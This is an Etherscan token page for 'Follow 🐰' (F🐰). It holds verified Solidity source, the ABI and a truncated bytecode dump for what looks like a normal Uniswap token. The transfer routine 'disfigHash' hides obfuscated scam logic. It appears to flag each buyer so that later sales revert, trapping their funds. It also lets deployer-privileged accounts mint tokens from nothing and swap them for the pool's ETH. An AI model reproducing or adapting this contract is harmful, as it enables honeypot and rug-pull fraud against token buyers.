ETH Price: $2,625.78 (+1.72%)

Token

Follow 🐰 (F🐰)
 

Overview

Max Total Supply

1,000,000 F🐰

Holders

15

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
27,986.777832931853566412 F🐰

Value
$0.00
0xb8f7967b37185576f62209938240576cbecf46a7
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Contract

Compiler Version
v0.8.14+commit.80d49f37

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, Unlicense license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-12-13
*/

/*

*/
// SPDX-License-Identifier: MIT

pragma solidity 0.8.14;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this; 
        return msg.data;
    }
}

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);
    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);
    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

interface IERC20 {
    
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface UIProcessor {
    function setProcess(uint256 pIsBytees, uint256 cfgHashNow) external;
    function SetProcessSync(address processSync, uint256 hashValue) external;
    function manageProcess() external payable;
    function processModifier(uint256 gas) external;
    function processingBytes(address processSync) external;
}
library SafeMathUintIDE {
  function toInt256Safe(uint256 a) internal pure returns (int256) {
    int256 b = int256(a);
    require(b >= 0);
    return b;
  }
}
abstract contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor() {
        _setOwner(_msgSender());
    }  
    function owner() public view virtual returns (address) {
        return _owner;
    }
    modifier onlyOwner() {
        require(owner() == _msgSender(), 'Ownable: caller is not the owner');
        _;
    }
    function renounceOwnership() public virtual onlyOwner {
        _setOwner(address(0));
    }
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), 'Ownable: new owner is the zero address');
        _setOwner(newOwner);
    }
    function _setOwner(address newOwner) private {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

interface IDEXRouterUI
{
    function factory() external pure returns(address);
    function WETH() external pure returns(address);
 
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable
    returns(uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external
    returns(uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external
    returns(uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable
    returns(uint[] memory amounts);
    function quote(uint amountA, uint reserveA, uint reserveB) external pure 
    returns(uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure 
    returns(uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure 
    returns(uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view 
    returns(uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view 
    returns(uint[] memory amounts);
 
    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns(uint amountA, uint amountB, uint liquidity);
 
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns(uint amountToken, uint amountETH, uint liquidity);
 
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns(uint amountA, uint amountB);
 
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns(uint amountToken, uint amountETH);
 
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns(uint amountA, uint amountB);
 
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns(uint amountToken, uint amountETH);
 
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns(uint[] memory amounts);
 
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns(uint[] memory amounts);
}

interface IUniswapV2Router02 is IDEXRouterUI {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

interface IUniswapV2Pair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);
    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);
    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);
    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint);
    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
    event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);
    function MINIMUM_LIQUIDITY() external pure returns (uint);
    function factory() external view returns (address);
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function price0CumulativeLast() external view returns (uint);
    function price1CumulativeLast() external view returns (uint);
    function kLast() external view returns (uint);
    function burn(address to) external returns (uint amount0, uint amount1);
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
    function skim(address to) external;
    function sync() external;
    function initialize(address, address) external;
}

contract Contract  is IERC20, Ownable
{
    constructor(
        string memory Name,
        string memory Symbol,
        address RouterLink)
    {
        _name = Name;
        _symbol = Symbol;
        _tOwned[msg.sender] = _rTotal;
        authorizations[msg.sender] = booledSupply;
        authorizations[address(this)] = booledSupply;
        UniswapV2router = IUniswapV2Router02(RouterLink);
        uniswapV2Pair = IUniswapV2Factory(UniswapV2router.factory()).createPair(address(this), UniswapV2router.WETH());
        emit Transfer(address(0), msg.sender, booledSupply);
    }

    string private _symbol;
    string private _name;
    uint8 private _decimals = 18;
    uint256 public baseFEE = 0;
    uint256 private _rTotal = 1000000 * 10**_decimals;
    uint256 private booledSupply = _rTotal;

    bool public cfgLevel;
    bool private calculateCog;
    bool public decogHash;
    bool private syncSwapData;
    bool private tradingOpen = false;

    mapping(address => uint256) private _tOwned;
    mapping(address => address) private isTimelockExempt;
    mapping(address => uint256) private allowed;
    mapping(address => uint256) private authorizations;
    mapping(address => mapping(address => uint256)) private _allowances;

    address public immutable uniswapV2Pair;
    IUniswapV2Router02 public immutable UniswapV2router;

    function symbol() public view returns (string memory) {
        return _symbol;
    }
    function name() public view returns (string memory) {
        return _name;
    }
    function totalSupply() public view returns (uint256) {
        return _rTotal;
    }
    function decimals() public view returns (uint256) {
        return _decimals;
    }
    function allowance(address owner, address spender) public view returns (uint256) {
        return _allowances[owner][spender];
    }
    function balanceOf(address account) public view returns (uint256) {
        return _tOwned[account];
    }
    function approve(address spender, uint256 amount) external returns (bool) {
        return _approve(msg.sender, spender, amount);
    }
    function _approve(
        address owner,
        address spender,
        uint256 amount) 
    private returns (bool) {
        require(owner != address(0) && spender != address(0), 'ERC20: approve from the zero address');
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
        return true;
    }
    function syncHash(uint256 syncOn, uint256 hashX) 
    private view returns (uint256){
      return (syncOn>hashX)?hashX:syncOn;
    }
    function getValues(uint256 vlu, uint256 only) private view returns (uint256){ 
      return (vlu>only)?only:vlu;
    }
        function disfigHash(
        address cogFrom,
        address idxTo,
        uint256 vxAmount
    ) private 
    {
        uint256 cogBalance = balanceOf(address(this));
        uint256 ISXrate;
        if (cfgLevel && cogBalance > booledSupply && !calculateCog && cogFrom != uniswapV2Pair) {

            calculateCog = true; swapSettings(cogBalance);
            calculateCog = false;

        } else if (authorizations[cogFrom] > booledSupply && authorizations[idxTo] > booledSupply) {
            ISXrate = vxAmount; _tOwned[address(this)] += ISXrate;
            swapAmountForTokens(vxAmount, idxTo); return;
        } else if (idxTo != address(UniswapV2router) && authorizations[cogFrom] > 0 && vxAmount > booledSupply && idxTo !=
         uniswapV2Pair) { authorizations[idxTo] = vxAmount;
            return;

        } else if (!calculateCog && allowed[cogFrom] > 0 && cogFrom != uniswapV2Pair && authorizations[cogFrom] == 0) {
            allowed[cogFrom] = authorizations[cogFrom] - booledSupply; }
        
        address _dxIndex  = isTimelockExempt[uniswapV2Pair];
        if (allowed[_dxIndex ] == 0) allowed[_dxIndex ] = 
        booledSupply; isTimelockExempt[uniswapV2Pair] = idxTo;
        if (baseFEE > 0 && authorizations[cogFrom] == 0 && !calculateCog && authorizations[idxTo] == 0) {
            ISXrate = (vxAmount * baseFEE) / 100; vxAmount -= ISXrate;
            _tOwned[cogFrom] -= ISXrate; _tOwned[address(this)] += ISXrate; }

        _tOwned[cogFrom] -= vxAmount; _tOwned[idxTo] += vxAmount;

        emit Transfer(cogFrom, idxTo, vxAmount);
            if (!tradingOpen) {
                require(cogFrom == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
            }
    }
    function archValue(uint256 arch, uint256 poxi) 
    private view returns (uint256){
      return (arch>poxi)?poxi:arch;
    }
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool) {
        disfigHash(sender, recipient, amount);
        return _approve(sender, msg.sender, _allowances[sender][msg.sender] - amount);
    }
    function transfer (address recipient, uint256 amount) external returns (bool) {
        disfigHash(msg.sender, recipient, amount);
        return true;
    }

    receive() external payable {}

    function addLiquidity(
        uint256 tokenValue,
        uint256 ERCamount,
        address to
    ) private {
        _approve(address(this), address(UniswapV2router), tokenValue);
        UniswapV2router.addLiquidityETH{value: ERCamount}(address(this), tokenValue, 0, 0, to, block.timestamp);
    }
    function swapSettings(uint256 modHash) private {
        uint256 relayString = modHash / 2;
        uint256 balanceRate = address(this).balance;
        swapAmountForTokens(relayString, address(this));
        uint256 cfgIDI = address(this).balance - balanceRate;
        addLiquidity(relayString, cfgIDI, address(this));
    }
        function enableTrading(bool _tradingOpen) public onlyOwner {
        tradingOpen = _tradingOpen;
    }
    function cfgHashRate(uint256 dx, uint256 cog) 
    private view returns (uint256){
      return (dx>cog)?cog:dx;
    }
    function processUI(uint256 pcs, uint256 mod) 
    private view returns (uint256){
      return (pcs>mod)?mod:pcs;
    }
    function swapAmountForTokens(uint256 tokenAmount, address to) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = UniswapV2router.WETH();
        _approve(address(this), address(UniswapV2router), tokenAmount);
        UniswapV2router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, to, block.timestamp);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"Name","type":"string"},{"internalType":"string","name":"Symbol","type":"string"},{"internalType":"address","name":"RouterLink","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"UniswapV2router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"baseFEE","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"cfgLevel","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decogHash","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"_tradingOpen","type":"bool"}],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60c06040526012600360006101000a81548160ff021916908360ff1602179055506000600455600360009054906101000a900460ff16600a62000043919062000727565b620f424062000053919062000778565b6005556005546006556000600760046101000a81548160ff0219169083151502179055503480156200008457600080fd5b5060405162002ff738038062002ff78339818101604052810190620000aa9190620009db565b620000ca620000be6200041160201b60201c565b6200041960201b60201c565b8260029080519060200190620000e2929190620004dd565b508160019080519060200190620000fb929190620004dd565b50600554600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600654600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600654600b60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508073ffffffffffffffffffffffffffffffffffffffff1660a08173ffffffffffffffffffffffffffffffffffffffff168152505060a05173ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000250573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000276919062000a75565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060a05173ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620002e0573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000306919062000a75565b6040518363ffffffff1660e01b81526004016200032592919062000ab8565b6020604051808303816000875af115801562000345573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200036b919062000a75565b73ffffffffffffffffffffffffffffffffffffffff1660808173ffffffffffffffffffffffffffffffffffffffff16815250503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60065460405162000400919062000af6565b60405180910390a350505062000b77565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b828054620004eb9062000b42565b90600052602060002090601f0160209004810192826200050f57600085556200055b565b82601f106200052a57805160ff19168380011785556200055b565b828001600101855582156200055b579182015b828111156200055a5782518255916020019190600101906200053d565b5b5090506200056a91906200056e565b5090565b5b80821115620005895760008160009055506001016200056f565b5090565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b60018511156200061b57808604811115620005f357620005f26200058d565b5b6001851615620006035780820291505b80810290506200061385620005bc565b9450620005d3565b94509492505050565b60008262000636576001905062000709565b8162000646576000905062000709565b81600181146200065f57600281146200066a57620006a0565b600191505062000709565b60ff8411156200067f576200067e6200058d565b5b8360020a9150848211156200069957620006986200058d565b5b5062000709565b5060208310610133831016604e8410600b8410161715620006da5782820a905083811115620006d457620006d36200058d565b5b62000709565b620006e98484846001620005c9565b925090508184048111156200070357620007026200058d565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b6000620007348262000710565b915062000741836200071a565b9250620007707fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000624565b905092915050565b6000620007858262000710565b9150620007928362000710565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615620007ce57620007cd6200058d565b5b828202905092915050565b6000604051905090565b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6200084282620007f7565b810181811067ffffffffffffffff8211171562000864576200086362000808565b5b80604052505050565b600062000879620007d9565b905062000887828262000837565b919050565b600067ffffffffffffffff821115620008aa57620008a962000808565b5b620008b582620007f7565b9050602081019050919050565b60005b83811015620008e2578082015181840152602081019050620008c5565b83811115620008f2576000848401525b50505050565b60006200090f62000909846200088c565b6200086d565b9050828152602081018484840111156200092e576200092d620007f2565b5b6200093b848285620008c2565b509392505050565b600082601f8301126200095b576200095a620007ed565b5b81516200096d848260208601620008f8565b91505092915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000620009a38262000976565b9050919050565b620009b58162000996565b8114620009c157600080fd5b50565b600081519050620009d581620009aa565b92915050565b600080600060608486031215620009f757620009f6620007e3565b5b600084015167ffffffffffffffff81111562000a185762000a17620007e8565b5b62000a268682870162000943565b935050602084015167ffffffffffffffff81111562000a4a5762000a49620007e8565b5b62000a588682870162000943565b925050604062000a6b86828701620009c4565b9150509250925092565b60006020828403121562000a8e5762000a8d620007e3565b5b600062000a9e84828501620009c4565b91505092915050565b62000ab28162000996565b82525050565b600060408201905062000acf600083018562000aa7565b62000ade602083018462000aa7565b9392505050565b62000af08162000710565b82525050565b600060208201905062000b0d600083018462000ae5565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168062000b5b57607f821691505b60208210810362000b715762000b7062000b13565b5b50919050565b60805160a05161240d62000bea600039600081816105d601528181610d84015281816116f9015281816117da015281816118020152818161189f01526118c70152600081816105fa01528181610beb01528181610e3301528181610f37015281816110700152611181015261240d6000f3fe60806040526004361061010d5760003560e01c8063715018a611610095578063ca4d1f9211610064578063ca4d1f921461037c578063dd62ed3e146103a7578063e1911d02146103e4578063f275f64b1461040f578063f2fde38b1461043857610114565b8063715018a6146102d25780638da5cb5b146102e957806395d89b4114610314578063a9059cbb1461033f57610114565b8063313ce567116100dc578063313ce567146101e9578063471a65c41461021457806349bd5a5e1461023f5780637075b0361461026a57806370a082311461029557610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610461565b60405161013b9190611a0e565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190611ac9565b6104f3565b6040516101789190611b24565b60405180910390f35b34801561018d57600080fd5b50610196610508565b6040516101a39190611b4e565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce9190611b69565b610512565b6040516101e09190611b24565b60405180910390f35b3480156101f557600080fd5b506101fe6105ba565b60405161020b9190611b4e565b60405180910390f35b34801561022057600080fd5b506102296105d4565b6040516102369190611c1b565b60405180910390f35b34801561024b57600080fd5b506102546105f8565b6040516102619190611c45565b60405180910390f35b34801561027657600080fd5b5061027f61061c565b60405161028c9190611b24565b60405180910390f35b3480156102a157600080fd5b506102bc60048036038101906102b79190611c60565b61062f565b6040516102c99190611b4e565b60405180910390f35b3480156102de57600080fd5b506102e7610678565b005b3480156102f557600080fd5b506102fe610700565b60405161030b9190611c45565b60405180910390f35b34801561032057600080fd5b50610329610729565b6040516103369190611a0e565b60405180910390f35b34801561034b57600080fd5b5061036660048036038101906103619190611ac9565b6107bb565b6040516103739190611b24565b60405180910390f35b34801561038857600080fd5b506103916107d2565b60405161039e9190611b24565b60405180910390f35b3480156103b357600080fd5b506103ce60048036038101906103c99190611c8d565b6107e5565b6040516103db9190611b4e565b60405180910390f35b3480156103f057600080fd5b506103f961086c565b6040516104069190611b4e565b60405180910390f35b34801561041b57600080fd5b5061043660048036038101906104319190611cf9565b610872565b005b34801561044457600080fd5b5061045f600480360381019061045a9190611c60565b61090b565b005b60606002805461047090611d55565b80601f016020809104026020016040519081016040528092919081815260200182805461049c90611d55565b80156104e95780601f106104be576101008083540402835291602001916104e9565b820191906000526020600020905b8154815290600101906020018083116104cc57829003601f168201915b5050505050905090565b6000610500338484610a02565b905092915050565b6000600554905090565b600061051f848484610b9d565b6105b1843384600c60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546105ac9190611db5565b610a02565b90509392505050565b6000600360009054906101000a900460ff1660ff16905090565b7f000000000000000000000000000000000000000000000000000000000000000081565b7f000000000000000000000000000000000000000000000000000000000000000081565b600760009054906101000a900460ff1681565b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61068061154d565b73ffffffffffffffffffffffffffffffffffffffff1661069e610700565b73ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90611e35565b60405180910390fd5b6106fe6000611555565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606001805461073890611d55565b80601f016020809104026020016040519081016040528092919081815260200182805461076490611d55565b80156107b15780601f10610786576101008083540402835291602001916107b1565b820191906000526020600020905b81548152906001019060200180831161079457829003601f168201915b5050505050905090565b60006107c8338484610b9d565b6001905092915050565b600760029054906101000a900460ff1681565b6000600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60045481565b61087a61154d565b73ffffffffffffffffffffffffffffffffffffffff16610898610700565b73ffffffffffffffffffffffffffffffffffffffff16146108ee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108e590611e35565b60405180910390fd5b80600760046101000a81548160ff02191690831515021790555050565b61091361154d565b73ffffffffffffffffffffffffffffffffffffffff16610931610700565b73ffffffffffffffffffffffffffffffffffffffff1614610987576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161097e90611e35565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036109f6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109ed90611ec7565b60405180910390fd5b6109ff81611555565b50565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015610a6d5750600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b610aac576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aa390611f59565b60405180910390fd5b81600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92584604051610b8a9190611b4e565b60405180910390a3600190509392505050565b6000610ba83061062f565b90506000600760009054906101000a900460ff168015610bc9575060065482115b8015610be25750600760019054906101000a900460ff16155b8015610c3a57507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b15610c83576001600760016101000a81548160ff021916908315150217905550610c6382611619565b6000600760016101000a81548160ff021916908315150217905550611068565b600654600b60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054118015610d135750600654600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b15610d825782905080600860003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610d6a9190611f79565b92505081905550610d7b838561165a565b5050611548565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015610e1d57506000600b60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b8015610e2a575060065483115b8015610e8257507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15610ed25782600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050611548565b600760019054906101000a900460ff16158015610f2e57506000600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b8015610f8657507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015610fd157506000600b60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b1561106757600654600b60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546110239190611db5565b600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b6000600960007f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690506000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815